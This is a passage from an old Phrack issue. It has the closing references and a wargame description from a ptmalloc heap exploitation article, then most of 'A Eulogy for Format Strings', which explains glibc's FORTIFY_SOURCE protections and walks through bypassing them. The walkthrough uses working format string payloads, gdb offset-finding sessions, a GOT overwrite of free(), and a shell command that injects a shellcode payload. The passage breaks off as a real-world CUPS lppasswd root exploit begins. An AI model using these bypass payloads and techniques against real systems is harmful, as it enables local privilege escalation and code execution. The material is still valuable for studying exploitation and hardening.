undoubtedly left its mark etched in the hacking history.
|
|
|
|
Indeed, the last details in the translation of this article are Dreg's
|
|
work, and this would never have been what it is without his invaluable
|
|
help.
|
|
|
|
For the rest, also thanks to all the people I met in dsrCON!, all very
|
|
friendly, outgoing and all with their particular point of madness. I am not
|
|
going to give more names, but, to all of them, thanks.
|
|
|
|
And remember...
|
|
|
|
Happy Hacking!
|
|
|
|
|
|
|
|
.--------------.
|
|
---[ 8 ---[ References ]---
|
|
.--------------.
|
|
|
|
[1] Malloc Maleficarum
|
|
http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
|
|
|
|
[2] Malloc Des-Maleficarum
|
|
http://www.phrack.org/issues.html?issue=66&id=10
|
|
|
|
[3] PTMALLOC (v2 & v3)
|
|
http://www.malloc.de/en/
|
|
|
|
[4] Reducing the effective entropy of gs cookies
|
|
http://uninformed.org/?v=7&a=2&t=sumry
|
|
|
|
[5] Electric Fence - Red-Zone memory allocator
|
|
http://perens.com/FreeSoftware/ElectricFence/
|
|
electric-fence_2.1.13-0.1.tar.gz
|
|
|
|
[6] Jemalloc - A Scalable Concurrent malloc(3) Implementacion for FreeBSD
|
|
http://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf
|
|
|
|
[7] Guard Malloc (Enabling the Malloc Debugging Features)
|
|
http://developer.apple.com/mac/library/documentation/Darwin/Reference/
|
|
ManPages/man3/Guard_Malloc.3.html
|
|
|
|
[8] Heap Feng Shui in JavaScript - BlackHat Europe 2007
|
|
http://www.blackhat.com/presentations/bh-europe-07/Sotirov/
|
|
Presentation/bh-eu-07-sotirov-apr19.pdf
|
|
|
|
[9] Rooted CON: Congreso de Seguridad Informatica (18-20 Marzo 2010)
|
|
http://www.rootedcon.es/
|
|
|
|
[10] dnmalloc
|
|
http://www.fort-knox.org/taxonomy/term/3
|
|
|
|
[11] OpenBSD malloc
|
|
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c
|
|
|
|
[12] Dnmaloc - A more secure memory allocator by Yves Younan,
|
|
Wouter Joosen, Frank Piessens and Hans Van den Eynden
|
|
http://www.orkspace.net/secdocs/Unix/Protection/Description/
|
|
Dnmaloc%20-%20A%20more%20secure%20memory%20allocator.pdf
|
|
|
|
[13] A new malloc(3) for OpenBSD by Otto Moerbeek
|
|
http://www.tw.openbsd.org/papers/eurobsdcon2009/otto-malloc.pdf
|
|
|
|
|
|
|
|
.----------------.
|
|
---[ 9 ---[ Wargame Code ]---
|
|
.----------------.
|
|
|
|
In this last section we attach the same program "agents.c" that we saw
|
|
above but adapted to network environment so that it can be feasible to use
|
|
in a servers exploitation wargame. At the same time the code is a bit more
|
|
elaborate and robust.
|
|
|
|
As usual, "netagents.c" forks a child process (fork) for each connection
|
|
made to it, and as each new process has its own heap, each attacker can
|
|
confront the vulnerability based on zero. The actions of one not influence
|
|
to others.
|
|
|
|
The code should be adapted according to the needs of the manager conducting
|
|
or developing the wargame (as well as the number of allowed incoming
|
|
connections or debugging information you want to give to the attacker if
|
|
the game becomes very difficult).
|
|
|
|
The attached archive includes a makefile which assumes that in the same
|
|
directory as the source is the compiled library ptmalloc2 (libmalloc.a) to
|
|
be linked with netagents.c. Each should adapt "malloc.c" to print the
|
|
information it deems necessary, but the basics would be the changes that
|
|
have been made throughout this article, which allows the attacker to know
|
|
from where they extract the chunks of memory requested.
|
|
|
|
How the attacker obtains the output of these changes? For simplicity,
|
|
"netagents.c" prevents calls to send( ) by closing the standard output
|
|
(stdout) and duplicating it with the recent obtained client socket
|
|
(dup(CustomerID)). We use the same trick as the shellcodes expected.
|
|
|
|
"netagents.c" also includes a new menu option, "Show Heap State", in order
|
|
to see the state of the memory chunks that are being allocated or released
|
|
during its execution, this allows you to see if the head of any free chunk
|
|
has been overwritten. After some legal moves, a normal output would be
|
|
this:
|
|
|
|
|
|
+--------------------------------+
|
|
| Allocated Chunk (0x8093004) | -> Agents[0]
|
|
+--------------------------------+
|
|
| SIZE = 0x00000019 |
|
|
+--------------------------------+
|
|
|
|
+--------------------------------+
|
|
| Allocated Chunk (0x809301c) | -> Agents[1]
|
|
+--------------------------------+
|
|
| SIZE = 0x00000019 |
|
|
+--------------------------------+
|
|
|
|
+--------------------------------+
|
|
| Allocated Chunk (0x8093034) | -> Agents[1]->name
|
|
+--------------------------------+
|
|
| SIZE = 0x00000029 |
|
|
+--------------------------------+
|
|
|
|
+--------------------------------+
|
|
| Free Chunk (0x8093058) | -> Agents[1]->lastname
|
|
+--------------------------------+
|
|
| PREV_SIZE = 0x00000000 |
|
|
+--------------------------------+
|
|
| SIZE = 0x00000089 |
|
|
+--------------------------------+
|
|
| FD = 0x08050168 |
|
|
+--------------------------------+
|
|
| BK = 0x08050168 |
|
|
+--------------------------------+
|
|
|
|
+--------------------------------+
|
|
| Allocated Chunk (0x80930e4) | -> Agents[1]->desc
|
|
+--------------------------------+
|
|
| SIZE = 0x00000108 |
|
|
+--------------------------------+
|
|
|
|
|
|
Following the example of the perl exploit presented in 2.2.2, one might
|
|
design an exploit in C with a child process continually receiving responses
|
|
from the server (menus and prompts), and the father answering these
|
|
questions with a pause, for example one second each answer (if you know
|
|
what to respond to work that program ...). The difficult task is to predict
|
|
the addresses on the stack, which in the last phase of the attack, the last
|
|
reserved chunk should match the frame created by "edit_lastname( )" since
|
|
that it is where we overwrite the saved return address and where the
|
|
program probably will break (it is obvious that ASLR enabled suppose a new
|
|
complexity to overcome).
|
|
|
|
What happens with failed attempts and segmentation failures? The program
|
|
captures SIGSEGV and informs the attacker that something bad has happened
|
|
and encourages him to connect again. The child process is the only that
|
|
becomes unstable and thus a new connection leaves everything clean for a
|
|
new attack.
|
|
|
|
The latest aid that one could provide to the attacker is to deliver the
|
|
source code, so this could be adapted to study the vulnerability in local,
|
|
and then carry his attack to the network environment.
|
|
|
|
--------[ EOF
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------=[ A Eulogy for Format Strings ]=-------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-----------------------=[ by Captain Planet ]=-------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
Index
|
|
|
|
------[ 0. Introduction
|
|
------[ 1. Glibc's FORTIFY_SOURCE
|
|
------[ 2. Bypassing FORTIFY_SOURCE
|
|
------[ 3. Exploitation
|
|
A. Dummy program
|
|
B. CUPS lppasswd bug
|
|
C. TODO- ASLR
|
|
------[ 4. Afterword
|
|
|
|
|
|
------[ 0. Introduction
|
|
|
|
Today the Windows CRT disables %n by default [0]. And likewise, glibc's
|
|
FORTIFY_SOURCE patches provides protection mechanisms which render
|
|
exploitation impossible. Objective-C isn't being considered, but i'm told
|
|
you can have plenty of fun there too. Even format strings weren't a
|
|
critically endangered species, they've been demoted to the class of
|
|
infoleak. The great thing about format strings of course was that they
|
|
provided both a read and write primitive. They were the `spork` of
|
|
exploitation. ASLR? PIE? NX Stack/Heap? No problem, fmt had you covered.
|
|
|
|
The story goes that around 2000 everybody was hunting down format strings.
|
|
Just about everything was vulnerable. Check out the TESO article in the
|
|
links. It was pretty outrageous. CORE exploited pretty much everything with
|
|
locales too [1]. But today, those days are long one. Unless of course
|
|
you're hacking edus, in which case you can still use locale bugs to pop
|
|
root shells on PMOS technology.
|
|
|
|
A few months ago something funny happened. A guy by the name of Ronald
|
|
Volgers [2] had his way with CUPS lppasswd, which was shipped root setuid
|
|
in Ubuntu and Debian. Nice find man! Locale bugs, oh yeah, awesome!
|
|
|
|
Unfortunately, the aforementioned patch makes fmt str exploitation quite
|
|
unlikely.
|
|
|
|
In detail, the FORTIFY_SOURCE provides two countermeasures against fmt
|
|
strings.
|
|
|
|
1) Format strings containing the %n specifier may not be located at a
|
|
writeable address in the memory space of the application.
|
|
|
|
2) When using positional parameters, all arguments within the range
|
|
must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6.
|
|
|
|
But thats okay since the FORTIFY_SOURCE patch is not really all that
|
|
complete. (-: Why? Because glibc is really really weird code. It amazes me
|
|
that someone would travel all around the world and take credit for glibc
|
|
when they did not even write it. Actually, it makes perfect sense, nobody
|
|
with any dignity would admit to writing any part of glibc to public
|
|
audiences. Don't get me wrong, glibc lets pretty good stuff happen to my
|
|
computer. The code is pretty hard to look at though, you wouldn't introduce
|
|
her to your parents if you know what I mean...
|
|
|
|
What you're about to read is slightly harder than writing a format string
|
|
and a little bit easier than building glibc itself. (Glibc binaries are
|
|
ideal for an ELF VX because of the difficulty of compiling them).
|
|
Prequisites are understanding format string exploitation. They were last
|
|
written about in phrack here [3] if you need a refresher. If you have never
|
|
exploited a format string vuln, seek the article by 'rebel' [6]. It is one
|
|
of the most skilled and digestible discourses available.
|
|
|
|
So lets dive right in.
|
|
|
|
------[ 1. Glibc's FORTIFY_SOURCE
|
|
|
|
===========================================================================
|
|
WARNING: THE REST OF THIS ARTICLE INCLUDES GLIBC CODE WHICH MAY INDUCE
|
|
CHEST PAIN, VOMITING, BLACKOUTS, or PERMANENT LOSS OF EYESIGHT. ALL
|
|
ATTEMPTS TO KEEP KEEP GLIBC CODE TO A MINIMUM HAVE BEEN MADE BY THE AUTHOR.
|
|
===========================================================================
|
|
|
|
"%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d"
|
|
|
|
Have you seen a format string like that before? It makes positional
|
|
parameters look less attractive, doesn't it?
|
|
|
|
So how does this patch supposedly work?
|
|
|
|
To turn it on the binary must be compiled with `-D_FORTIFY_SOURCE=2`
|
|
enabled with an optimization level of at least -O2. This is likely because
|
|
of the compiler pass the patch is implemented at.
|
|
|
|
So the following happens.
|
|
|
|
0x08048509 <+57>: mov %ebx,0x4(%esp)
|
|
0x0804850d <+61>: movl $0x1,(%esp)
|
|
0x08048514 <+68>: call 0x80483c4 <__printf_chk@plt>
|
|
|
|
First, calls to printf, etc get rerouted to __*_chk in your compiled binary
|
|
and the first argument of :flag: is passed as 1.
|
|
|
|
A.
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
File: libc/debug/printf_chk.c
|
|
|
|
/* Write formatted output to stdout from the format string FORMAT. */
|
|
int
|
|
___printf_chk (int flag, const char *format, ...)
|
|
{
|
|
va_list ap;
|
|
int done;
|
|
|
|
_IO_acquire_lock_clear_flags2 (stdout);
|
|
if (flag > 0)
|
|
stdout->_flags2 |= _IO_FLAGS2_FORTIFY;
|
|
|
|
va_start (ap, format);
|
|
done = vfprintf (stdout, format, ap);
|
|
va_end (ap);
|
|
|
|
if (flag > 0)
|
|
stdout->_flags2 &= ~_IO_FLAGS2_FORTIFY;
|
|
_IO_release_lock (stdout);
|
|
|
|
return done;
|
|
}
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
The function sets the _IO_FLAGS2_FORTIFY bit to ON in the FILE* structure
|
|
to enable the FORTIFY checks. This is sort of clever, as the bit will
|
|
always get toggled on when entering dangerous functions. You can not
|
|
universally disable the mechanism very easily. But this itself does not
|
|
actually guarantee any kind of security.
|
|
|
|
Under libio/libio.h the following secondary flags are defined:
|
|
|
|
#define _IO_FLAGS2_MMAP 1 //fopen 'm' mmap access mode
|
|
#define _IO_FLAGS2_NOTCANCEL 2 //open/read/write should not be used as
|
|
thread cancellization points
|
|
#ifdef _LIBC
|
|
# define _IO_FLAGS2_FORTIFY 4 //enable fortify security checks
|
|
#endif
|
|
#define _IO_FLAGS2_USER_WBUF 8 //wide buffer (2-byte) support funk
|
|
#ifdef _LIBC
|
|
# define _IO_FLAGS2_SCANF_STD 16 // %a support for scanf
|
|
#endif
|
|
|
|
Disabling the entire flags buffer should not be too much trouble, but may
|
|
lead to some inconsistencies if the file stream pointer is opened with 'm'
|
|
in the mode parameter.
|
|
|
|
The astute reader will be wondering about functions such as vsnprintf,
|
|
which require no file stream pointer. Well, glibc provides an okay
|
|
solution. A file stream pointer is made on the stack with a callback that
|
|
writes to a buffer instead of a file descriptor. This file stream pointer
|
|
is then passed along to vfprintf.
|
|
|
|
Now, with the _IO_FLAGS2_FORTIFY bit set, there are two protections that
|
|
are enabled.
|
|
|
|
B. Protection #1
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
File: libc/stdio-common/vfprintf.c
|
|
|
|
LABEL (form_number):
|
|
\
|
|
if (s->_flags2 &
|
|
_IO_FLAGS2_FORTIFY) \
|
|
|
|
{ \
|
|
if (!
|
|
readonly_format) \
|
|
|
|
{ \
|
|
extern int __readonly_area (const void *,
|
|
size_t) \
|
|
|
|
attribute_hidden; \
|
|
|
|
readonly_format \
|
|
= __readonly_area (format, ((STR_LEN (format) +
|
|
1) \
|
|
* sizeof
|
|
(CHAR_T))); \
|
|
|
|
} \
|
|
if (readonly_format <
|
|
0) \
|
|
__libc_fatal ("*** %n in writable segment detected
|
|
***\n"); \
|
|
|
|
} \
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
If the format string payload containing a %n is located in a writeable
|
|
memory area such as the stack or BSS or DATA or the heap, this patch will
|
|
detect it and error out. Besides a DoS, this patch renders format strings
|
|
pretty harmless.
|
|
|
|
|
|
C. Protection #2
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
File: libc/stdio-common/vfprintf.c
|
|
/* Determine the number of arguments the format string consumes. */
|
|
nargs = MAX (nargs, max_ref_arg);
|
|
|
|
/* Allocate memory for the argument descriptions. */
|
|
args_type = alloca (nargs * sizeof (int));
|
|
memset (args_type, s->_flags2 & _IO_FLAGS2_FORTIFY ? '\xff' : '\0',
|
|
nargs * sizeof (int));
|
|
args_value = alloca (nargs * sizeof (union printf_arg));
|
|
args_size = alloca (nargs * sizeof (int));
|
|
..
|
|
for (cnt = 0; cnt < nargs; ++cnt)
|
|
..
|
|
switch (args_type[cnt])
|
|
..
|
|
case -1:
|
|
/* Error case. Not all parameters appear in N$ format
|
|
strings. We have no way to determine their type. */
|
|
assert (s->_flags2 & _IO_FLAGS2_FORTIFY);
|
|
__libc_fatal ("*** invalid %N$ use detected ***\n");
|
|
}
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
The effect of this second patch is that all of the arg_types are set to -1
|
|
by default. If there are any argument holes in between which do not get
|
|
processed, they are left as -1. So the effect is that:
|
|
|
|
%4$x
|
|
|
|
would be invalid but
|
|
|
|
%4$x %2$x %1$x %3x
|
|
|
|
would be okay.
|
|
|
|
To be honest, I do not really see this as some huge security improvement
|
|
but more of a nuisance. It does not really stop infoleaks much. Maybe they
|
|
wanted to prevent people from exploiting 8 character format strings,
|
|
because those are really common in the wargaming scene.
|
|
|
|
|
|
------[ 2. Bypassing FORTIFY_SOURCE
|
|
|
|
Now, if you were paying attention, you saw a bunch of allocas in 1-A. That
|
|
:nargs: variable, that is the calculated maximum number of arguments. If a
|
|
fmt str has simple arguments, the value is just that number. But, if a fmt
|
|
str uses width arguments or positional parameters (often called direct
|
|
parameters in other format string articles), then those also factor into
|
|
the maximum :nargs: value
|
|
|
|
As an example in this string,
|
|
%x %x %x %13981938$x,
|
|
|
|
13981938 is the :nargs: value being passed to the alloca functions in code
|
|
snippet 1-C.
|
|
|
|
Do not get too excited. This is not enough for generic control.
|
|
Unfortunately, we can not do the same stack shifting as in [4] since we are
|
|
in a context past the initial stack frame allocation. At the epilogue of
|
|
the function, a base register will be used to collapse the stack, making
|
|
stack shifting less useful without being accompanied by memory clobbering.
|
|
This is true of many of the architecture's C compilers. They pretty much
|
|
all implement some sort of easy stack clean-up with a base register, so
|
|
alloca itself is difficult to attack.
|
|
|
|
Instead, it is the operations that use the allocated memory that must be
|
|
exploited. The integer overflow can be used to trigger all sorts of memory
|
|
trespasses.
|
|
|
|
One other thing to do is shift the stack into the heap using the alloca.
|
|
This also turns out to be difficult because of those memset operations.
|
|
|
|
But we do have a loss of state. And as always, from a loss of state new
|
|
opportunites arise. We are in the land of undefined. Hi mom and dad!
|
|
|
|
This article will use one such trespass opportunity to bypass
|
|
FORTIFY_SOURCE. It should be noted that others exist, but may be a bit
|
|
harder to utilize than this one.
|
|
|
|
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
|
|
|
|
Arbitrary 4-byte NUL overwrite.
|
|
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
File: stdio-common/vfprintf.c
|
|
|
|
/* Fill in the types of all the arguments. */
|
|
for (cnt = 0; cnt < nspecs; ++cnt)
|
|
{
|
|
/* If the width is determined by an argument this is an int. */
|
|
if (specs[cnt].width_arg != -1)
|
|
args_type[specs[cnt].width_arg] = PA_INT;
|
|
|
|
enum
|
|
{ /* C type: */
|
|
PA_INT, /* int */
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
Quick summary of the code:
|
|
args_type[ ATTACKER_OFFSET ] = 0x00000000;
|
|
|
|
Explanation:
|
|
The above code is required to process width arguments that are passed in as
|
|
parameters.
|
|
|
|
For example:
|
|
|
|
%1$*269096872$x
|
|
|
|
Effectively does:
|
|
//specs[cnt].width_arg = 269096872
|
|
args_type[specs[cnt].width_arg] = 0
|
|
|
|
..which, if your stack is set up just right, can toggle off that
|
|
_IO_FLAGS2_FORTIFY bit in the `stdout` FILE structure.
|
|
|
|
Remember that :args_type: was one of the buffers allocated on the stack in
|
|
the alloca snippet above in 1-C and is an array of an integer base type.
|
|
|
|
Care must be taken as the alloca becomes a bit of a problem when nargs gets
|
|
set to a large value. This will likely shift the stack to somewhere
|
|
unmapped. The next push or call instructions would result in a crash,
|
|
preventing proper exploitation.
|
|
|
|
So the key constraints around :nargs: are as follows:
|
|
|
|
1) the stack must be shifted somewhere sane
|
|
2) the memset operation must not hit an unmapped page.
|
|
|
|
The easiest way to meet these two contraints is to use an integer overflow.
|
|
Since no bounds checking occurs on :nargs:, you can artificially keep the
|
|
stack in-place with this: `%1073741824$`. No specifier is really required
|
|
and you can end it with just a $ sign. The second contraint is also
|
|
satisfied because the memset will be called with a length parameter of 0.
|
|
|
|
The details of the allocas are a little bit more complex if you look at the
|
|
assembly. For our purposes, they roughly end up doing:
|
|
|
|
esp -= nargs * (4)
|
|
esp -= nargs * (12)
|
|
esp -= nargs * (4)
|
|
|
|
The 1073471824*4 happens to be 0 when truncated into a 32-bit integer. This
|
|
and other factors of 1073471824 prove to be sufficient for side-stepping
|
|
the alloca constraints.
|
|
|
|
This concludes the arbitrary 4-byte NUL overwrite.
|
|
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
|
|
|
|
|
The first patch (1-B) can be disabled by clearing that IO_FLAGS2_FORTIFY
|
|
bit in the file stream pointer. Typically it will be the only flag enabled
|
|
on the file stream pointer. In the unlikeley case that one of the other
|
|
bits was set, for example _IO_FLAGS2_MMAP, inconsitencies may arise when
|
|
the file stream pointer is closed. This may or may not affect
|
|
exploitability.
|
|
|
|
We will now revisit the second part of the patch. It makes any format
|
|
string exploit less flexible. The loop on nargs has to be terminated early
|
|
to avoid the assert and the libc_fatal when a "hole" in the arguments is
|
|
discovered. By hole, I am referring to the code in (1-C) which checks the
|
|
:args_type: value against -1. Remember that the fortify source patch won't
|
|
let you access %5$x without also accessing %1$? %2$? %3$? and %4?. That is
|
|
what is meant by 'hole' in this context.
|
|
|
|
The termination of that loop can coincidentally happen all by itself if the
|
|
stack is aligned correctly. The loop will hit out of bounds of the alloca
|
|
created buffers and self terminate when :nargs: is set to 0, provided that
|
|
:nargs: is stored by the compiler on the stack. If it fails to do this, an
|
|
assert() statemet will be triggered, preventing exploitation.
|
|
|
|
Or, we can reuse the 4-byte NUL write can be used to bypass the loop
|
|
reliably.
|
|
|
|
One instance of a successful bypass can then be performed in two easy
|
|
steps.
|
|
|
|
1. Turn off the IO_FORTIFY_SOURCE bit to allow %n from a writeable address
|
|
2. Set nargs=0 to skip the value-filling loop.
|
|
|
|
Note that bypassing the loop via #2 requires us to dig further down the
|
|
stack to find our user input since the same loop is responsible for filling
|
|
in the args_value array. If you have ever attempted to exploit a format
|
|
string by truncating a pointer and reusing it as destination on glibc, you
|
|
probably failed because of that args_value array.
|
|
|
|
------[ 3. Exploitation
|
|
|
|
In standard phrack style we will first do this on a test binary and then on
|
|
a real-world binary to disprove any accusations of academic tendencies,
|
|
like thought experiments. Feel free to skip to part B.
|
|
|
|
------------[ A. Dummy Test Program for clarity
|
|
|
|
Note: ASLR is disabled and the program has an executable stack.
|
|
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
//File: test.c
|
|
//gcc -D_FORTIFY_SOURCE=2 -O2
|
|
int main(){
|
|
char buf[256];
|
|
fgets(buf, sizeof(buf), stdin);
|
|
printf(buf);
|
|
}
|
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
captain@planet:~/research/fmt/article$ ./a.out
|
|
%n
|
|
*** %n in writable segment detected ***
|
|
Aborted
|
|
captain@planet:~/research/fmt/article$ ./a.out
|
|
%4$x
|
|
*** invalid %N$ use detected ***
|
|
Aborted
|
|
|
|
Oh nooO! Scary format string protections are making everything hurt.
|
|
|
|
ENABLE POWER MORPHING LINUX SHARING COMMUNITY POWER
|
|
----
|
|
Alright remember the process kids.
|
|
1. Disable fortify source
|
|
2. Set nargs = 0
|
|
3. Enjoy the %n
|
|
|
|
So first, lets figure out where that arbitrary 4-byte NUL write is on our
|
|
system. We will pick some ridiculous desination, like %1$*269168516$. If it
|
|
doesn't crash, keep incrementing that by about 20000.
|
|
|
|
So we'll send the following as our investigative payload. The first part
|
|
should trigger the NUL write. The second part should keep the stack sane.
|
|
|
|
%1$*269168516$x %1073741824$
|
|
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
captain@planet:~/research/fmt/article$ gdb -q ./a.out
|
|
Reading symbols from /home/captain/research/fmt/article/a.out...(no
|
|
debugging symbols found)...done.
|
|
(gdb) r
|
|
Starting program: /home/captain/research/fmt/article/a.out
|
|
%1$*269168516$x %1073741824$
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
|
"%1$*269168516$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1735
|
|
1735 vfprintf.c: No such file or directory.
|
|
in vfprintf.c
|
|
(gdb) x/i $pc
|
|
=> 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4)
|
|
(gdb)
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
|
|
The fortify source bit will be somewhere inside of the file stream pointer
|
|
over at s=0x29f4e0.
|
|
|
|
stdout->_flags2 |= _IO_FLAGS2_FORTIFY;
|
|
|
|
On this target machine, it happens to be @+60
|
|
|
|
0x29f51c <_IO_2_1_stdout_+60>: 0x00000004
|
|
|
|
Since the operations here are relative, ASLR is not too big of an issue and
|
|
once you find your offset, it's pretty consistent (YMMV).
|
|
|
|
Here is the equation
|
|
$ecx + $eax*4 should = 0x29f51c
|
|
|
|
(gdb) p/d ((0x10029f51c-$ecx) & 0xffffffff)/4
|
|
$11 = 269145003
|
|
|
|
Counting starts from 0, so add 1 to that for the payload.
|
|
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
captain@planet:~/research/fmt/article$ gdb -q ./a.out
|
|
Reading symbols from /home/captain/research/fmt/article/a.out...(no
|
|
debugging symbols found)...done.
|
|
(gdb) break vfprintf
|
|
Function "vfprintf" not defined.
|
|
Make breakpoint pending on future shared library load? (y or [n]) y
|
|
Breakpoint 1 (vfprintf) pending.
|
|
(gdb) r
|
|
Starting program: /home/captain/research/fmt/article/a.out
|
|
%1$*269145004$x %1073741824$
|
|
|
|
Breakpoint 1, _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
|
"%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:210
|
|
210 vfprintf.c: No such file or directory.
|
|
in vfprintf.c
|
|
(gdb) tbreak *(vfprintf+11489)
|
|
Temporary breakpoint 2 at 0x1888f1: file vfprintf.c, line 1735.
|
|
(gdb) c
|
|
Continuing.
|
|
|
|
Temporary breakpoint 2, 0x001888f1 in _IO_vfprintf_internal (s=0x29f4e0,
|
|
format=0xbffeb2dc "%1$*269145004$x %1073741824$\n", ap=0xbffeb2c8 "@\364)")
|
|
at vfprintf.c:1735
|
|
1735 in vfprintf.c
|
|
(gdb) x/i $pc
|
|
=> 0x1888f1 <_IO_vfprintf_internal+11489>: movl $0x0,(%ecx,%eax,4)
|
|
(gdb) x/wx $ecx+$eax*4
|
|
0x29f51c <_IO_2_1_stdout_+60>: 0x00000004
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
|
|
This operation has to be repeated for :nargs:. The easiest way to locate
|
|
:nargs: is to pick a value you know (0xdeadbeef), and find it on the stack
|
|
or just pick it up where it gets loaded before the alloca code.
|
|
|
|
%1$*3735928559$x
|
|
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
|
"%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721
|
|
1721 vfprintf.c: No such file or directory.
|
|
in vfprintf.c
|
|
(gdb) x/wx $ebp-0x4bc
|
|
0xbffeadcc: 0xdeadbeef
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
|
|
p/d (0xbffeadcc-$ecx)/4+1
|
|
= 472 for me
|
|
|
|
Disabling both :nargs: and fortify source : [%*472$ %1$*269145004$
|
|
%1073741824$]
|
|
|
|
Well, that's not actually true. It depends on what your buffer looks like.
|
|
For example if you attempt to do:
|
|
|
|
%49150u %4847$hn %*472$ %1$*269145004$ %1073741824$
|
|
|
|
The first two parameters will cause the stack to shift and the values have
|
|
to be recalculated based on the size of that $hn offset. This gets a bit
|
|
hairy, but with some grunt work you'll be done. The next task is finding
|
|
a good way to hijack flow control.
|
|
|
|
One good vector happens to be a call to free shortly after the %n write.
|
|
|
|
=> 0xb7d4f3f8 <_IO_vfprintf_internal+2024>: mov -0x4bc(%ebp),%edi
|
|
=> 0xb7d4f3fe <_IO_vfprintf_internal+2030>: mov %edi,(%esp)
|
|
=> 0xb7d4f401 <_IO_vfprintf_internal+2033>: call 0xb7d28988 <free@plt>
|
|
=> 0xb7d28988 <free@plt>: jmp *0x24(%ebx)
|
|
(gdb) x/wx $ebx+0x24
|
|
0x29f018: 0x001b8e60
|
|
|
|
We will overwrite the upper 16-bits to point into the stack
|
|
(0x001b->0xbfff).
|
|
Write Dest: 0x29f01a
|
|
|
|
One way to smuggle this value is using a command line argument.
|
|
|
|
%49150u %4847$hn %*13996$ %1$*269158528$ %1073741824$
|
|
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x0018880f in _IO_vfprintf_internal (s=0x29f4e0, format=0xbffeb2dc
|
|
"%1$*3735928559$x\n", ap=0xbffeb2c8 "@\364)") at vfprintf.c:1721
|
|
1721 vfprintf.c: No such file or directory.
|
|
in vfprintf.c
|
|
(gdb) x/wx $ebp-0x4bc
|
|
0xbffeadcc: 0xdeadbeef
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
|
|
So after some fenagling you'll reach something like this:
|
|
|
|
A great improvement would be automation via instrumentation or mapping
|
|
out the stack shifting very tightly.
|
|
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
captain@planet:~/research/fmt/article$ export PAY=`python -c 'print
|
|
"\xcc"*4096*20'`
|
|
captain@planet:~/research/fmt/article$ (python -c 'print "%49150u %4847$hn
|
|
%1$*269168516$x %1$*13996$x %1073741824$"')
|
|
| ./a.out `echo -ne "a ccc ddbbb
|
|
\x1a\xf0\x29 fffff"`
|
|
...
|
|
Trace/breakpoint trap (core dumped)
|
|
%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%<%
|
|
|
|
|
|
------------[ B. The real world exploit
|
|
|
|
===========================================================================
|
|
===========================================================================
|
|
===========================================================================
|
|
|
|
CUPS locale() vulnerability.
|
|
|
|
Ronald Volgers noticed that lppasswd used user-specified locales. A few
|
|
